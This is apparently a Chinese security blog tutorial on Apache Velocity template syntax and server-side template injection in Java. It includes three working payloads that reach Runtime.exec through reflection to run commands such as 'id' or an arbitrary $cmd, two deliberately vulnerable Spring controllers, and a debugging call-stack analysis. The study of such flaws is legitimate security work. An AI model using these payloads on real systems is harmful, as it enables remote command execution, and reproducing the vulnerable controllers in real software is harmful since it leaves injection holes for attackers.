Java安全之Velocity模版注入

2022-09-22 06:00:13

Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一個基於Java的模板引擎,它提供了一個模板語言去參照由Java程式碼定義的物件。它允許web 頁面設計者參照JAVA程式碼預定義的方法

Pom.xml

<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

相關檔案

https://velocity.apache.org/engine/devel/user-guide.html

https://wizardforcel.gitbooks.io/velocity-doc/content/1.html

基本語法

語句識別符號

#用來標識Velocity的指令碼語句,包括#set#if#else#end#foreach#end#include#parse#macro等語句。

變數

$用來標識一個變數,比如模板檔案中為Hello $a,可以獲取通過上下文傳遞的$a

宣告

set用於宣告Velocity指令碼變數,變數可以在指令碼中宣告

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

註釋

單行註釋為##,多行註釋為成對出現的#* ............. *#

邏輯運算

== && || !

條件語句

if/else為例:

#if($foo<10)
    <strong>1</strong>
#elseif($foo==10)
    <strong>2</strong>
#elseif($bar==6)
    <strong>3</strong>
#else
    <strong>4</strong>
#end

單雙引號

單引號不解析參照內容,雙引號解析參照內容,與PHP有幾分相似

#set ($var="aaaaa")
'$var'  ## 結果為:$var
"$var"  ## 結果為:aaaaa

屬性

通過.操作符使用變數的內容,比如獲取並呼叫getClass()

#set($e="e")
$e.getClass()

跳脫字元

如果$a已經被定義,但是又需要原樣輸出$a,可以試用\跳脫作為關鍵的$

{} 識別符號

"{}"用來明確標識Velocity變數;
比如在頁面中,頁面中有一個$someonename,此時,Velocity將把someonename作為變數名,若我們程式是想在someone這個變數的後面緊接著顯示name字元,則上面的標籤應該改成${someone}name。

!識別符號

"!"用來強制把不存在的變數顯示為空白。
如當頁面中包含$msg,如果msg物件有值,將顯示msg的值,如果不存在msg物件同,則在頁面中將顯示$msg字元。這是我們不希望的,為了把不存在的變數或變數值為null的物件顯示為空白,則只需要在變數名前加一個「!」號即可。
如:$!msg
我們提供了五條基本的模板指令碼語句,基本上就能滿足所有應用模板的要求。這四條模板語句很簡單,可以直接由介面設計人員來新增。在當前很多EasyJWeb的應用實踐中,我們看到,所有介面模板中歸納起來只有下面四種簡單模板指令碼語句即可實現:
   1、$!obj  直接返回物件結果。
   如:在html標籤中顯示java物件msg的值。

<p>$!msg</p>
  在html標籤中顯示經過HtmlUtil物件處理過後的msg物件的值
  <p>$!HtmlUtil.doSomething($!msg)</p>

  2、#if($!obj) #else #end 判斷語句
   如:在EasyJWeb各種開源應用中,我們經常看到的用於彈出提示資訊msg的例子。

   #if($msg)

   <script>
   alert('$!msg');
   </script>

   #end

poc

// 命令執行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令執行2 
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令執行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入

摳了段程式碼

 @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="nth347") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }

poc

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

偵錯分析

首先將我們傳入的poc拼接進去後,呼叫Velocity.init();,最終實際呼叫的是RuntimeInstance#init

會進行一系列的初始化操作,其中包括載入/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties中的runtime.log.logsystem.class,範例化org.apache.velocity.runtime.resource.ResourceManagerImpl以及記錄一些log

之後範例化VelocityContext並將三個鍵值對 put了進去,呼叫Velocity.evaluate()來解析,跟進

發現是通過RuntimeInstance#evaluate中呼叫parse解析

繼續跟進parser.parse(reader, templateName);,首先在this.velcharstream.ReInit(reader, 1, 1);將在StringReader中的poc儲存到Parser.velcharstream屬性的buffer

之後會在process內迴圈遍歷處理vlocity語法之後,大致解析成下面這個樣子...

進入this.render(context, writer, logTag, nodeTree);來解析渲染,主要是從AST樹中和Context中,在ASTSetDirective#render將poc put進了context。這裡涉及到幾個類ASTRference ASTMethod,其中涉及到了ast的處理,感興趣的師傅可以自己跟下看看

ASTMethod#execute中反射呼叫runtime

呼叫棧如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣來的程式碼,這個可能實際環境遇到蓋裡高點,主要是可控vm模版檔案內的內容,在呼叫template.merge(ctx, out);會解析模版並觸發模版注入

    @RequestMapping("/ssti/velocity2")
    @ResponseBody
    public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
        String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
        templateString = templateString.replace("<USERNAME>", username);

        StringReader reader = new StringReader(templateString);

        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();

        template.merge(ctx, out);

        return out.toString();

    }

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字串可被我們插入或替換即可造成模版注入,中間呼叫runtimeServices.parse將模版內容解析,交給template.merge(ctx, out);渲染。在template.merge 呼叫SimpleNode#render,後續呼叫和上面的就一致了。

主要是注意vm模版內容可不可控,並在修改後能被Velocity.evaluate() Template.merge(ctx, out);渲染,即可造成模版注入。

Reference

https://www.cnblogs.com/nice0e3/p/16218857.html

https://xz.aliyun.com/t/8135